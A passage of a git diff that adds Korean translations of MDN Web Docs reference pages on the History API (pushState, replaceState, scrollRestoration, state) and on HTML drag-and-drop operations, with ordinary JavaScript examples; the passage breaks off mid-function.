지금은 대부분의 브라우저가 title 매개변수를 무시하지만, 미래에 쓰일 수도 있습니다. 빈 문자열을 지정하면 나중의 변경사항에도 안전할 것입니다. 아니면, 상태에 대한 짧은 제목을 제공할 수도 있습니다.
+
url {{optional_inline}}
+
새로운 세션 기록 항목의 URL. pushState() 호출 이후에 브라우저는 주어진 URL로 탐색하지 않습니다. 그러나 이후, 예컨대 브라우저를 재시작할 경우 탐색을 시도할 수도 있습니다. 상대 URL을 지정할 수 있으며, 이 땐 현재 URL을 기준으로 사용합니다. 새로운 URL은 현재 URL과 같은 {{glossary("origin", "출처")}}를 가져야 하며, 그렇지 않을 경우 예외가 발생합니다. 지정하지 않은 경우 문서의 현재 URL을 사용합니다.
+
+ +

설명

+ +

어떤 면에선 pushState()window.location = "#foo"가 비슷합니다. 둘 다 새로운 세션 기록 항목을 생성하고 활성화하기 때문입니다. 그러나 pushState()에는 몇 가지 장점이 있습니다.

+ + + +

다만 pushState()는 이전 URL과 신규 URL의 해시가 다르더라도 절대 {{event("hashchange")}} 이벤트를 유발하지 않습니다.

+ +

HTML 외의 문서에서는 이름공간 URI가 null인 요소를 생성합니다.

+ +

예제

+ +

다음 코드는 주어진 상태, 제목, URL을 사용해 새로운 세션 기록을 생성합니다.

+ +
const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "browsers.html#dom-history-pushstate", "History.pushState()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-history-pushstate", "History.pushState()")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.pushState")}}

diff --git a/files/ko/web/api/history/replacestate/index.html b/files/ko/web/api/history/replacestate/index.html new file mode 100644 index 0000000000..3b9f92ba8d --- /dev/null +++ b/files/ko/web/api/history/replacestate/index.html @@ -0,0 +1,68 @@ +--- +title: History.replaceState() +slug: Web/API/History/replaceState +translation_of: Web/API/History/replaceState +--- +
{{APIRef("History API")}}
+ +
+ +

History.replaceState() 메서드는 현재 history를 수정해 메소드의 매개 변수에 전달 된 stateObj, titleURL로 대체합니다. 이 방법은 특히 일부 유저의 동작에 대한 응답으로 history 객체의 상태나 현재 history의 URL을 업데이트하려는 경우에 유용합니다. 

+ +

구문

+ +
history.replaceState(stateObj, title[, url])
+ +

Parameters

+ +
+
stateObj
+
state 객체는 replaceState에 전달된 history 항목과 연관된 JavaScript 객체입니다. state object는 null일 수 있습니다.
+
title
+
나중에는 사용할 수도 있지만, 대부분의 브라우저는 현재 이 파라미터를 무시하고 있습니다. 이 부분에 빈 String을 전달하면 나중에 메소드가 변화하더라도 안전합니다. 또는, state에 짧은 title을 전달할 수도 있습니다.
+
url {{optional_inline}}
+
history 항목의 URL 입니다. 새 URL은 현재 URL과 출처가 동일해야(same origin)합니다. 그렇지 않으면 replaceState에서 예외가 발생합니다.
+
+ +

예제

+ +

https://www.mozilla.org/ 에서 아래 JavaScript를 실행한다고 가정합시다: 

+ +
const stateObj = { foo: 'bar' };
+history.pushState(stateObj, '', 'bar.html');
+ +

위 두 줄에 대한 설명은 Working with the History API 문서의 Example of pushState() method에서 확인할 수 있습니다. 그 다음, https://www.mozilla.org/bar.html에서 아래와 같은 JavaScript를 실행한다고 가정해보세요:

+ +
history.replaceState(stateObj, '', 'bar2.html');
+ +

이렇게하면 URL 표시줄에 https://www.mozilla.org/bar2.html이라고 표시되지만, 브라우저가 bar2.html을 로드하거나 bar2.html파일이 있는지 확인하지는 않습니다.

+ +

이제 사용자가 https://www.microsoft.com으로 이동한 다음, 뒤로가기 버튼을 누른다고 가정해봅시다. 이 때, URL 표시줄에는https://www.mozilla.org/bar2.html이 표시됩니다. 사용자가 다시 뒤로가기 버튼을 누르면, URL 표시줄에는 https://www.mozilla.org/foo.html이 표시되고, bar.html은 완전히 무시되어 표시되지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "history.html#dom-history-replacestate", "History.replaceState()")}}{{Spec2("HTML WHATWG")}}{{SpecName("HTML5 W3C")}} 이후 변화 없음.
{{SpecName("HTML5 W3C", "history.html#dom-history-replacestate", "History.replaceState()")}}{{Spec2("HTML5 W3C")}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.replaceState")}}

diff --git a/files/ko/web/api/history/scrollrestoration/index.html b/files/ko/web/api/history/scrollrestoration/index.html new file mode 100644 index 0000000000..a9a4923bd7 --- /dev/null +++ b/files/ko/web/api/history/scrollrestoration/index.html @@ -0,0 +1,72 @@ +--- +title: History.scrollRestoration +slug: Web/API/History/scrollRestoration +tags: + - API + - HTML DOM + - History API + - Property + - Reference +translation_of: Web/API/History/scrollRestoration +--- +
{{APIRef("HTML DOM")}}
+ +

History.scrollRestoration 속성을 사용하면 기록 탐색 시 사용할 스크롤 위치 복원 기능의 기본값을 웹 애플리케이션이 지정할 수 있습니다.

+ +

구문

+ +
let scrollRestore = history.scrollRestoration;
+ +

+ +
+
"auto"
+
페이지 내에서 사용자의 스크롤이 위치했던 장소로 복원합니다.
+
"manual"
+
스크롤을 복원하지 않습니다. 사용자가 직접 스크롤해야 합니다.
+
+ +

예제

+ +

현재 스크롤 복원 여부 알아내기

+ +
const scrollRestoration = history.scrollRestoration
+if (scrollRestoration === 'manual') {
+  console.log('The location on the page is not restored, user will need to scroll manually.');
+}
+
+ +

스크롤 복원 비활성화

+ +
if (history.scrollRestoration) {
+  window.history.scrollRestoration = 'manual';
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", " #scroll-restoration-mode", "History.scrollRestoration")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-scrollrestoration", "History.scrollRestoration")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.scrollRestoration")}}

diff --git a/files/ko/web/api/history/state/index.html b/files/ko/web/api/history/state/index.html new file mode 100644 index 0000000000..0f889665c7 --- /dev/null +++ b/files/ko/web/api/history/state/index.html @@ -0,0 +1,67 @@ +--- +title: History.state +slug: Web/API/History/state +translation_of: Web/API/History/state +--- +
{{APIRef("History API")}}
+ +

History.state 속성은 현 history에 해당하는 state값을 나타냅니다.

+ +

{{event("popstate")}} 이벤트가 트리거될때가 아닌 상태에서 state값을 볼 수 있는 방법입니다.

+ +

문법

+ +
const currentState = history.state
+ +

+ +

현 history에 위치한 값입니다. 이 값은 {{domxref("History.pushState","pushState()")}} 또는 {{domxref("History.replaceState","replaceState()")}}을 사용할때까지 {{jsxref("null")}} 값을 가집니다.

+ +

예제

+ +

history.state 로 초기값을 보여준 후 {{domxref("History.pushState","pushState()")}}를 사용하여 State를 푸시합니다.

+ +

다음 코드 줄은 history.state 를 사용하여 콘솔에다 값이 푸시되었음을 보여줍니다.

+ +
// Should be null because we haven't modified the history stack yet
+console.log(`History.state before pushState: ${history.state}`);
+
+// Now push something on the stack
+history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+
+// Now state has a value.
+console.log(`History.state after pushState: ${history.state}`);
+ +

SpecificationsE

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-history-state", "History.state")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#dom-history-state", "History.state")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.History.state")}}

+ +

See also

+ + diff --git a/files/ko/web/api/history_api/index.html b/files/ko/web/api/history_api/index.html new file mode 100644 index 0000000000..3396a23460 --- /dev/null +++ b/files/ko/web/api/history_api/index.html @@ -0,0 +1,117 @@ +--- +title: History API +slug: Web/API/History_API +tags: + - API + - Advanced + - DOM + - History + - 기록 + - 브라우저 히스토리 + - 히스토리 +translation_of: Web/API/History_API +--- +
{{DefaultAPISidebar("History API")}}
+ +

DOM의 {{domxref("Window")}} 객체는 {{domxref("Window.history", "history")}} 객체를 통해 브라우저의 세션 기록에 접근할 수 있는 방법을 제공합니다. {{domxref("History", "history")}}는 사용자를 자신의 방문 기록 앞과 뒤로 보내고 기록 스택의 콘텐츠도 조작할 수 있는, 유용한 메서드와 속성을 가집니다.

+ +

개념과 사용 방법

+ +

사용자 방문 기록에서 앞뒤로 이동할 땐 {{domxref("History.back","back()")}}, {{domxref("History.forward","forward()")}}, {{domxref("History.go","go()")}} 메서드를 사용합니다.

+ +

앞으로 가기와 뒤로 가기

+ +

방문 기록의 뒤로 이동하려면 다음과 같이 사용합니다.

+ +
history.back()
+ +

위의 코드는 사용자가 브라우저 도구 모음의 뒤로 가기 버튼을 누른 것과 같습니다.

+ +

이와 비슷하게, 기록의 앞으로 (도구 모음의 앞으로 가기 버튼) 가는 것도 할 수 있습니다.

+ +
history.forward()
+ +

기록의 특정 지점으로 이동

+ +

{{domxref("History.go", "go()")}} 메서드를 사용하면 세션 기록에서 현재 페이지의 위치를 기준으로, 상대적인 거리에 위치한 특정 지점까지 이동할 수 있습니다.

+ +

한 페이지 뒤로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.back", "back()")}}과 동일)

+ +
history.go(-1)
+ +

한 페이지 앞으로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.forward", "forward()")}}와 동일)

+ +
history.go(1)
+ +

매개변수로 지정한 숫자를 바꾸면 2 페이지씩 이동하는 것도 가능합니다.

+ +

go()의 다른 사용법은 매개변수를 제공하지 않거나 0을 제공해 현재 페이지를 다시 불러오는 것입니다.

+ +
// The following statements
+// both have the effect of
+// refreshing the page
+history.go(0)
+history.go()
+ +

{{domxref("History.length", "length")}} 속성을 사용해 방문 기록 스택의 크기도 알아낼 수 있습니다.

+ +
let numberOfEntries = window.history.length
+ +

인터페이스

+ +
+
{{domxref("History")}}
+
브라우저의 세션 기록에 접근할 수 있는 방법을 제공하는 인터페이스입니다.
+
+ +

예제

+ +

다음 예제는 {{domxref("window.onpopstate")}} 속성에 이벤트 처리기를 부착한 후, {{domxref("window.history", "history")}} 객체를 사용해 브라우저 방문 기록을 추가하거나 대체한 후 탐색하는 코드입니다.

+ +
window.onpopstate = function(event) {
+  alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
+}
+
+history.pushState({page: 1}, "title 1", "?page=1")
+history.pushState({page: 2}, "title 2", "?page=2")
+history.replaceState({page: 3}, "title 3", "?page=3")
+history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back() // alerts "location: http://example.com/example.html, state: null"
+history.go(2)  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History")}}

+ +

같이 보기

+ + diff --git "a/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" new file mode 100644 index 0000000000..122e835b75 --- /dev/null +++ "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" @@ -0,0 +1,343 @@ +--- +title: Drag Operations +slug: Web/API/HTML_드래그_앤_드롭_API/Drag_operations +translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +

다음은 드래그 & 드랍(drag & drop) 동작 실행 시 각 단계에 대한 설명입니다.

+ +

이 문서에 설명된 드래그 동작은 {{domxref("DataTransfer")}} 인터페이스를 사용합니다. 이 문서에서는 {{domxref("DataTransferItem")}} 인터페이스나 {{domxref("DataTransferItemList")}} 인터페이스를 사용하지 않습니다.

+ +

Draggable 속성

+ +

웹 페이지 안에서 특정 상황에 기본 드래그(default drag) 행위가 사용될 경우가 있습니다. 선택된 텍스트(text selections), 이미지 또는 링크가 여기에 포함됩니다. 이미지나 링크가 드래그될 때, 이미지나 링크의 URL이 드래그 데이터(drag data)로 설정되고 드래그가 시작됩니다. 다른 요소의 경우, 기본 드래그가 발생할 선택(selections)에 포함되어 있어야 합니다(For other elements, they must be part of a selection for a default drag to occur). 이 효과를 보기 위해서는 웹 페이지의 어떤 영역을 선택하고 마우스를 클릭한 채로 드래그하면 됩니다. 드래그가 발생할 때 마우스 포인터로 선택 영역에 대한 OS별 렌더링이 표시됩니다. 이 행위는 기본 드래그 행위인 경우에만 발생하는 것으로 드래그되는 데이터를 조정할 리스너가 없는 경우에는 작동하지 않습니다.

+ +

HTML에서 이미지나 링크 그리고 선택(selections)에 대한 기본 행위를 제외한 나머지 요소는 기본적으로 드래그되지 않습니다. XUL에서는 모든 요소가 드래그 가능합니다.

+ +

다른 HTML 요소를 드래그할 수 있게 하려면 세 가지가 이루어져야 합니다:

+ + + +

컨텐츠의 일부 영역을 드래그할 수 있도록 만드는 예제는 다음과 같습니다.

+ +
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+  This text <strong>may</strong> be dragged.
+</div>
+
+ +

요소를 드래그할 수 있게 하기 위해서는 {{htmlattrxref("draggable")}} 속성이 true로 설정되어야 합니다. 이 속성이 생략되거나 false로 설정되면 해당 요소는 드래그할 수 없으며, 대신 텍스트가 선택됩니다. {{htmlattrxref("draggable")}} 속성은 이미지나 링크를 포함한 어떤 요소에서도 사용할 수 있습니다. 하지만, 이미지나 링크에 대해서는 기본값이 true로 설정되어 있으므로 이들 요소에 대해 드래깅할 수 없게 만들 경우에만 {{htmlattrxref("draggable")}} 속성의 값을 false로 설정하면 됩니다.

+ +

어떤 요소가 드래그 가능한 경우, 해당 요소 내의 텍스트나 다른 요소는 마우스를 클릭하고 드래그하는 통상적인 방식으로는 선택할 수 없게 됩니다. 대신, 사용자가 alt 키를 누른채로 마우스로 텍스트를 선택하거나 키보드를 이용해 선택할 수 있습니다.

+ +

XUL 요소에 대해서는 {{htmlattrxref("draggable")}} 속성을 사용할 필요가 없으며, 모든 XUL 요소는 드래그가 가능합니다.

+ +
<button label="Drag Me" ondragstart="event.dataTransfer.setData('text/plain', 'Drag Me Button');">
+
+ +

드래그 작업 시작

+ +

이 예제에서는 {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} 속성을 이용하여 {{event("dragstart")}} 이벤트에 대한 리스너를 추가합니다.

+ +
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+  This text <strong>may</strong> be dragged.
+</div>
+
+ +

사용자가 드래그를 시작할 때, {{event("dragstart")}} 이벤트가 발생합니다. 이 예제에서는 드래그할 요소에 {{event("dragstart")}} 리스너가 추가되었습니다; 하지만, 대부분의 다른 이벤트가 그렇듯이 상위 요소에서 드래그 이벤트를 포착할 수 있습니다. {{event("dragstart")}} 이벤트 내에서 아래에서 설명하는 바와 같이 피드백 이미지(feedback image)나 드래그 효과와 그리고 드래그 데이터를 명시할 수 있습니다. 기본 이미지나 드래그 효과는 대부분의 상황에 적합하게 되어 있으며, 드래그 데이터만 필요합니다.

+ +

데이터 드래그

+ +

모든 {{domxref("DragEvent","drag events")}}는 드래그 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}}라는 속성이 존재합니다 (dataTransfer는 {{domxref("DataTransfer")}} 객체입니다).

+ +

드래그가 발생할 때, 데이터는 어떤 것이 드래그되는지를 구분할 수 있는 드래그와 연관되어야 합니다(When a drag occurs, data must be associated with the drag which identifies what is being dragged). 예를 들어, 선택된 텍스트가 드래그될 경우 드래그 데이터 항목에 연관된 데이터는 텍스트 자체입니다. 이와 유사하게, 웹 페이지 상의 링크가 드래그될 경우에 드래그 데이터 항목은 링크의 URL이됩니다.

+ +

{{domxref("DataTransfer","drag data")}}는 두 가지 정보를 담고 있는데, 데이터의 유형(또는 형식)과 데이터 값입니다. 형식은 (텍스트 데이터에 해당하는 text/plain과 같은) 형식 문자열(type string) 값이고, 값은 텍스트의 문자열입니다. 드래그가 시작되면, 데이터와 형식을 제공하는 데이터를 추가해야 합니다. 드래그되는 동안, {{event("dragenter")}} 이벤트와 {{event("dragover")}} 이벤트에 대한 이벤트 리스너에서 드래그되는 데이터의 형식을 사용해 드랍이 허용되는지 확인할 수 있습니다. 예를 들어, 링크가 허용되는 드랍 대상(drop target)은 text/uri-list 형식의 링크인지 확인합니다. 드랍 이벤트 동안 리스너는 드래그 대상(being dragged)으로부터 데이터를 추출해 드랍되는 위치에 삽입합니다.

+ +

{{domxref("DataTransfer","drag data's")}}의 {{domxref("DataTransfer.types","types")}} 속성은 text/plain or image/jpeg과 같은 {{domxref("DOMString")}} MIME-type 목록을 반환홥니다. 여러분은 자신만의 형식을 만들 수도 있습니다. 가장 흔하게 사용되는 형식은 권장 드래그 데이터 형식(Recommended Drag Types)에서 소개하고 있습니다.

+ +

드래그에는 여러 가지 다른 형식의 데이터 항목이 포함될 수 있습니다. 이를 통해 사용자 정의 형식(custom types)과 같은 보다 특정한 형식의 데이터를 주로 제공하지만, 특정한 유형을 지원하지 않는 드롭 대상에 대해 대체 데이터(fallback data)를 제공할 수도 있습니다. text/plain 형식의 일반적인 텍스트 데이터가 가장 단순한 형식의 데이터일 것입니다.이 형식의 데이터는 단순히 텍스트 형식으로 표시될 것입니다.

+ +

{{domxref("DragEvent.dataTransfer","dataTransfer")}} 내에 드래그 데이터 항목(drag data item)을 설정하기 위해서는 {{domxref("DataTransfer.setData","setData()")}} 메서드를 이용합니다. 이 메서드는 각각 데이터 형식과 데이터 값인 두 개의 인자가 필요합니다. 예를 들어:

+ +
event.dataTransfer.setData("text/plain", "Text to drag");
+
+ +

이 경우, 데이터 값은 "Text to drag"이고 형식은 text/plain입니다.

+ +

여러 형식의 데이터를 제공할 수도 있습니다. 이를 위해서는 서로 다른 형식으로 {{domxref("DataTransfer.setData","setData()")}} 메서드를 여러 번 호출합니다. 이 때, 가장 세부적인 형식에서 덜 세부적인 형식의 순으로 호출해야 합니다.

+ +
var dt = event.dataTransfer;
+dt.setData("application/x-bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+
+ +

여기서 데이터는 세가지 유형으로 추가됩니다. 첫번째 형식의 'application2x-bookmark'는 사용자 지정 형식입니다. 다른 응용 프로그램에서는 이 형식을 지원하지 않지만 동일한 사이트 또는 응용 프로그램의 영역 간 드래그할 경우, 이 사용자 지정 형식을 사용할 수 있습니다. 또한 다른 형식의 데이터를 제공함으로써 덜 세부적인 형태로 다른 애플리케이션으로의 드래그도 지원할 수 있습니다. 다른 형식이 하나의 URL또는 텍스트 형식만 제공할 때, 'application2x-bookmark' 형식은 해당 어플리케이션 내에서 사용될 경우 더 상세한 데이터를 제공할 수 있습니다

+ +

이 예제에서 text/uri-listtext/plain은 동일한 데이터를 담고있음에 주목하시기 바랍니다. 이렇게 해도 되지만, 꼭 이럴 필요는 없습니다.

+ +

동일한 형식으로 데이터를 두 번 추가하려고 하면 새로운 데이터가 기존 데이터를 대체하지만 형식 목록 내에서 이전 데이터(old data)와 같은 위치에 있게 됩니다.

+ +

{{domxref("DataTransfer.clearData","clearData()")}} 메서드를 이용해 해당 데이터를 지울 수 있는데, 이 메서드는 지우고자 하는 데이터의 형식을 인자로 가집니다.

+ +
event.dataTransfer.clearData("text/uri-list");
+
+ +

{{domxref("DataTransfer.clearData","clearData()")}} 메서드에 대한 형식 인자는 선택적입니다. 형식을 지정하지 않으면 모든 형식과 연관된 데이터가 지워집니다. 드래그할 때, 드래그 데이터 항목이 없거나 이후에 모든 항목이 삭제되면 드래그가 발생하지 않습니다.

+ +

드래그 피드백 이미지 설정

+ +

드래그가 발생할 때, 드래그 대상("{{event("dragstart")}}" 이벤트가 발생한 요소)으로부터 반투명한 이미지가 생성되고 드래그 하는 동안 마우스 포인터를 따라 움직입니다. 이 이미지는 자동으로 생성되며, 따로 생성할 필요가 없습니다. 하지만, {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 이용해 사용자 정의 드래그 피드백 이미지를 지정할 수 있습니다.

+ +
event.dataTransfer.setDragImage(image, xOffset, yOffset);
+
+ +

세 개의 인자는 필수입니다. 첫 번째 인자는 이미지에 대한 참조(reference)입니다. 이 참조는 일반적으로 이미지에 대한 참조이나 캔버스(canvas)나 다른 요소를 지정할 수도 있습니다. 피드백 이미지는 단순하게 화면에 표시된 이미지의 모양으로부터 생성되지만, 이미지의 경우 원래 크기로 그려집니다. {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드의 두 번째와 세 번째 인자는 마우스 포인터에 대해 상대적인 옵셋(offsets)으로 이미지가 나타날 위치를 의미합니다.

+ +

문서 내에 있지 않은 이미지나 캔버스를 사용하는 것 역시 가능합니다. 이 기법은 다음의 예제와 같이 캔버스 요소를 이용해 드래그 이미지를 사용자 정의 형태로 그리고자 할 때 유용합니다:

+ +
function dragWithCustomImage(event) {
+  var canvas = document.createElementNS("http://www.w3.org/1999/xhtml","canvas");
+  canvas.width = canvas.height = 50;
+
+  var ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  var dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+
+ +

이 예제에서, 드래그 이미지를 표시할 캔버스를 하나 생성합니다. 캔버스는 너비가 와 높이가 모두 50 픽셀이고, 마우스 포인터가 이미지의 중앙에 위치하도록 옵셋(offsets)을 너비와 높이의 절반(25)으로 설정했습니다.

+ +

{{h2_gecko_minversion("Using XUL panels as drag images", "9.0")}}

+ +

Gecko 개발자일 경우 (Mozilla 어플리케이션 개발자든 add-on 개발자든 상관 없이), Gecko 9.0 {{geckoRelease("9.0")}}에 드래그 피드백 이미지로 XUL {{XULElem("panel")}} 요소를 사용할 수 있도록 하는 지원이 추가되었습니다. 간단히 {{XULElem("panel")}} 요소를 {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드로 전달하기만 하면 됩니다.

+ +

다음 XUL {{XULElem("panel")}}를 살펴보시기 바랍니다:

+ +
<panel id="panel" style="opacity: 0.6">
+  <description id="pb">Drag Me</description>
+</panel>
+
+<vbox align="start" style="border: 1px solid black;" ondragstart="startDrag(event)">
+  <description>Drag Me</description>
+</vbox>
+
+ +

위의 예에서 사용자가 {{XULElem("vbox")}}를 클릭하고 드래그하기 시작하면, 아래의 startDrag() 함수가 호출됩니다.

+ +
function startDrag(event) {
+  event.dataTransfer.setData("text/plain", "<strong>Body</strong>");
+  event.dataTransfer.setDragImage(document.getElementById("panel"), 20, 20);
+}
+
+ +

이 함수는 해당 패널을 드래그 이미지로 사용하고, HTML 형식의 "<strong>Body</strong>"을 데이터로 가집니다. 텍스트 편집기에 패널을 드랍하면 "Body"라는 텍스트가 드랍된 위치에 삽입됩니다.

+ +

드래그 효과

+ +

드래그할 때, 여러 가지 작업이 수행될 수 있습니다. copy 작업은 드래그되는 데이터가 현재 위치에서 드랍되는 위치로 복사될 것임을 나타냅니다. move 작업은 드래그되는 데이터가 이동될 것임을 나타내고, link 작업은 특정 형태의 관계(relationship)나 연결(connection)이 소스와 드랍되는 위치 사이에 생성될 것임을 나타냅니다.

+ +

드래그 소스(drag source)에 대해 {{event("dragstart")}} 이벤트 리스너의 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 설정함으로써, 이 세 가지 작업 중 어떤 것을 허용할 것인지를 지정할 수 있습니다.

+ +
event.dataTransfer.effectAllowed = "copy";
+
+ +

이 예제에서는, 복사만 허용됩니다. 다양한 방식으로 값을 조합할 수 있습니다:

+ +
+
none
+
어떤 작업도 허용하지 않음.
+
copy
+
복사만 허용
+
move
+
이동만 허용
+
link
+
연결만 허용
+
copyMove
+
복사 또는 이동만 허용
+
copyLink
+
복사 또는 연결만 허용
+
linkMove
+
연결 또는 이동만 허용
+
all
+
복사, 이동 및 연결 모두 허용
+
+ +

이 값들은 반드시 위에 나열한 것과 정확하게 일치해야 함에 유의하시기 바랍니다. 예를 들어, {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 copyMove로 설정하면 복사와 이동 작업이 허용되나 연결(link) 작업은 금지됩니다. {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 변경하지 않으면 'all' 값과 마찬가지로 어떤 작업도 허용됩니다. 따라서, 특정한 유형의 작업을 제외시키고 싶지 않다면 이 속성을 조정할 필요가 없습니다.

+ +

드래그 작업 중에 {{event("dragenter")}} 또는 {{event("dragover")}} 이벤트에 대한 리스너는 어떤 작업이 허용되어 있는지 알기 위해 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 확인할 수 있습니다. 관련된 속성으로, {{domxref("DataTransfer.dropEffect","dropEffect")}}는 이들 이벤트 중 하나에서 수행되어야 하는 단일 작업을 지정하기 위해 설정되어야 할 속성입니다. {{domxref("DataTransfer.dropEffect","dropEffect")}}에 유효한 값은 none, copy, move, 또는 link입니다. 이 속성에 값의 조합은 허용되지 않습니다.

+ +

{{event("dragenter")}}나 {{event("dragover")}} 이벤트가 발생하면 사용자가 요청하는 효과로 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성이 초기화됩니다. 사용자는 한정자 키를 눌러 원하는 효과로 수정할 수 있습니다. 플랫폼에 따라 정확한 키가 달라질 수 있지만, 일반적으로 쉬프트(Shift)와 컨트롤(Control) 키가 복사하기, 이동하기, 연결하기 간 전환에 사용됩니다. 마우스 포인터를 원하는 작업을 나타내도록 변경할 수 있습니다; 예를 들어, 복사 작업에 대해서는 마우스 포인터 옆에 더하기 기호가 표시된 커서가 나타날 수 있습니다.

+ +

{{event("dragenter")}} 또는 {{event("dragover")}} 이벤트가 발생하는 동안 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 변경할 수 있는데, 예를 들자면, 특정 작업만 지원되는 특수한 드랍 대상(drop target)일 경우가 그렇습니다. {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 수정하여 사용자 효과(user effect)를 오버라이드하여 특정한 드랍 작업이 발생하게 할 수 있습니다. 이 효과는 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성에 열거된 것 중의 하나 이어야 함에 유의하시기 바랍니다. 그렇지 않을 경우, 허용되는 대체 값으로 설정되게 됩니다.

+ +
event.dataTransfer.dropEffect = "copy";
+
+ +

이 예제에서는 복사가 수행될 효과입니다.

+ +

이 경우에는 이벤트를 취소하지 않는 것이 좋지만 none 값을 사용하여 이 위치에서 드롭이 허용되지 않음을 나타낼 수 있습니다.

+ +

{{event("drop")}}{{event("dragend")}} 이벤트 내에서{{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 확인하면 최종적으로 어떤 효과가 선택되었는지를 알 수 있습니다. 선택된 효과가 "move"였다면, {{event("dragend")}} 이벤트 내에서 드래그 소스의 원본 데이터가 삭제되어야 합니다.

+ +

드랍 대상 지정하기

+ +

{{event("dragenter")}}{{event("dragover")}} 이벤트에 대한 리스너는 유효한 드랍 대상인지, 즉 드래그된 아이템이 드랍될 수 있는 곳인지를 나타내는데 사용할 수 있습니다. 웹 페이지 또는 어플리케이션의 대부분의 영역은 데이터를 드랍할 수 있는 유효한 영역이 아닙니다. 따라서, 이들 이벤트에 대한 기본적인 처리는 드랍을 허용하지 않는 것입니다.

+ +

드랍을 허용하길 원한다면, 해당 이벤트를 취소하는 기본 처리를 막아야 합니다. 속성 정의(attribute-defined) 이벤트 리스너로부터 false를 반환 받거나 해당 이벤트의 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하면 됩니다. 후자는 별도의 스크립트에 정의된 함수에 더 적합합니다.

+ +
<div ondragover="return false">
+<div ondragover="event.preventDefault()">
+
+ +

{{event("dragenter")}} and {{event("dragover")}} 두 이벤트 모두에서 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하는 것은 그 위치에 드랍이 허용되는 것을 나타냅니다. 하지만, 일반적으로 특정한 상황에서만, 예를 들자면 링크가 드래그될 때만 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하길 원할 것입니다. 이렇게 하기 위해서는 조건을 확인하여 조건이 충족될 때에만 해당 이벤트를 취소하는 함수를 호출합니다. 조건이 충족되지 않을 경우, 이벤트를 취소하지 않으면 사용자가 마우스 버튼을 놓더라도 드랍은 발생하지 않을 것입니다.

+ +

data transfer의 드래그 데이터 형식에 따라 드랍을 허용하거나 기각하는 경우가 대부분일 것입니다(예를 들어, 이미지나 링크를 허용하거나 둘 다 허용하는 경우). 이렇게 하기 위해서는 이벤트의 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 속성의 {{domxref("DataTransfer.types","types")}} 속성을 확인합니다. {{domxref("DataTransfer.types","types")}} 속성은 드래그가 시작될 때 추가된 형식 문자열의 배열을 반환하는데, 그 순서는 가장 세부적인 형식에서 가장 덜 세부적인 형식의 순서입니다.

+ +
function contains(list, value) {
+    for( var i = 0; i < list.length; ++i ) {
